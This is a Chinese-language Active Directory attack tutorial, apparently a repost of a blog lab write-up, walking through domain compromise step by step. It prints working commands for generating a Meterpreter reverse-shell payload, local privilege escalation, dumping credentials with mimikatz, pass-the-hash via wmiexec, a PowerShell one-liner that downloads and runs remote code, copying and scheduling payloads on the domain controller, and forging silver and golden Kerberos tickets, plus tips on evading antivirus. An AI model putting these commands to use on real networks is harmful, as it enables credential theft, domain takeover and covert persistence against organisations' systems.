17.域环境解决方案

0x01.抓取明文密码

1.msf抓域管密码

因为在部署域环境的时候,第一次配置那个uac,取消uac,一般会用域管账号登录认证

由于之前域环境是内网下的,所以kali设置一下内网中的静态ip

实验准备用msf工具拿到一个win7域成员机器的sessions,然后使用suggester提一个权

msf生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.119 LPORT=4444 -f exe -o /root/桌面/payload.exe

msf设置监听

image-20210811215632829

win7

image-20210811215737299

kali拿到会话,放到后台,使用提权模块提权

search sugg
use 3
show options
set session 1
run
use exploit/windows/local/cve_2019_1458_wizardopium
show options
set session 1
run
得到一个会话,权限是system的

image-20210811221100463

然后加载kiwi,抓密码

load kiwi           # 之所以提权是因为system权限能看到的东西更多
creds_all

image-20210811221718648

使用psexec拿下域控会话,比3389更加隐蔽,也不会挤掉别人

search psexec
use 3
show options
set rhosts 192.168.1.1
set SMBUser Administrator
set SMBPass root.comQWE123
set lport 5656
run
ipconfig

image-20210811224129227

现在就通过域管的明文密码,加上psexec,实现拿下域控,但是这些会话都是基于win7机器的,所以win7的会话不能丢

利用条件:

  • 2008及其以下

  • 域管理员有登录过的记录

  • 2012及以上开启记录 , 指的是域成员机器

    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
    

    打开后需要重新登陆,可以强制锁屏

    rundll32 user32.dll,LockWorkStation
    

    实战中看似登录记录很难,但是很多域成员在初次设置uac策略的时候都会输入域管理员密码

0x02.ntlm

1.wmiexec.py

前提也是域管登录了这台域成员机器,只不过因为域成员系统的原因你可能读不到明文了,只有hash

假如你抓不到明文,只能有密文怎么办呢?可以通过ntlm进行横向

image-20210811234101505

ntlm是由域名,域用户和密码,三者进行hash运算,是一个唯一的标识符,类似cookie的东西

工具:impacket下的wmiexec.py , 因为msf6.0以后,psexec不太支持用hash登录了

impacket是基于网络协议做的一些工具

https://github.com/SecureAuthCorp/impacket/tree/master/examples

安装
git clone https://github.com/SecureAuthCorp/impacket.git
pip3 install -r requirements.txt
python3 setup.py install
使用:
python3 wmiexec.py -hashes 428319dc747b841dfc3a211d991668db:877f2de761904b78491378dbff2b70fc
LMhash (可以用同位数的0代替)                                                    NTLMhash
qqy/administrator@192.168.199.229
域名称/用户@ip

实验:

拿到域成员win7的sessions会话,提权到system

加载kiwi读取hash

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

拿到域管的hash

 Username : Administrator
         * Domain   : HACKER
         * NTLM     : d40facad2d74412a1e9c8f848257b80a
         * SHA1     : adfa6f25762840a62713551b38948fddd447a7a2

使用wmiexec.py 拿到域管的cmd

python3 wmiexec.py -hashes 428319dc747b841dfc3a211d991668db:d40facad2d74412a1e9c8f848257b80a HACKER/administrator@192.168.1.1

wmiexec.py被杀率也是很高的,实战中可以做成exe,免杀一点

image-20210814095157748

然后可以配合cs,powershell无文件上线

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.109:80/a'))"

实战中需要做下混淆,免杀

image-20210814095954695

2.在cs上pth常见利用方式

首先,也是拿到一个域成员的权限,上线到cs上 , 这里演示通过msf中转到cs

image-20210814102339173

使用梼杌插件中的功能

image-20210814102425984

image-20210814102709402

传递成功

image-20210814102954947

然后通过shell把win7中的payload.exe 通过share,上传到域管机器上,然后运行

上传
shell copy payload.exe \\192.168.1.1\C$\

msf监听payload.exe中的端口

运行
shell at \\192.168.1.1 10.40 C:\payload.exe

然后在msf上拿到了域管的控制权限,sysytem权限

0x03.白银票据

上面都是需要域管登录过域成员机器,如果没登陆过呢?白银票据来帮你

示例:
kerberos::golden /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413\
                                           域名称               当前用户的sid
/target:dc.hydra.com /rc4:6f949c52336e143ff8a2f5957416a73a /service:cifs /user:ceshi /ptt
		域控ip/计算机名    当前用户的ntml                                   伪造的服务   伪造的用户  白银票据
		
mimikatz kerberos::golden /domain:hacker.testlab /sid:S-1-5-21-3655987577-828589889-2834657367 /target:HACKER.TESTLAB /rc4:a26dbbdac8eca7761551049d76dddfee /service:cifs /user:ceshi /ptt

image-20210814110541694

然后就可以传文件,然后监听,运行文件,域管上线到cs上

白银票据失败的原因 :

sid可以更换下看看有没有其他的sid可以用的但是sid和ntlm一定要对应,这个比较关键

服务可以换一下试试

服务名称                           同时需要的服务
WMI                                 HOST、RPCSS
Powershell Remoting      HOST、HTTP
winRM                              HOST.HTTP
scheduled Tasks               HOST
windows Fi1e share          CIFS
LDAP                                 LDAP
windows Remote Server RpCSS、LDAP、CIFS

0x04.黄金票据tgt

黄金票据更多的不是获取域控的权限,而是一种域内的权限维持的方法

拿到域控,在域控的机器上制作一个票据 , 然后下载下来,默认在C:\windows\system32下面

mimikatz kerberos::golden /admin:administrator /domain:hacker.testlab /sid:S-1-5-21-1720693672- 3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]

mimikatz kerberos::golden /admin:administrator /domain:hacker.testlab /sid:S-1-5-21-3655987577-828589889-2834657367 /krbtgt:d40facad2d74412a1e9c8f848257b80a /ticket:administrator.kiribi

sid和ntml用administrator的也可以

image-20210814112149792

以后你进入域中的任何一个域成员机器上,只要加载这个票据,就可以拿到域控权限

mimikatz kerberos::ptt administrator.kiribi [加载票据]

image-20210814112711071

补充:

信息收集工具
theHarvester
recon-ng         kali自带 vps国外

ksubdomain    被动信息收集
jsfinder             隐藏的连接找子域名
原文地址:https://www.cnblogs.com/xcymn/p/15721493.html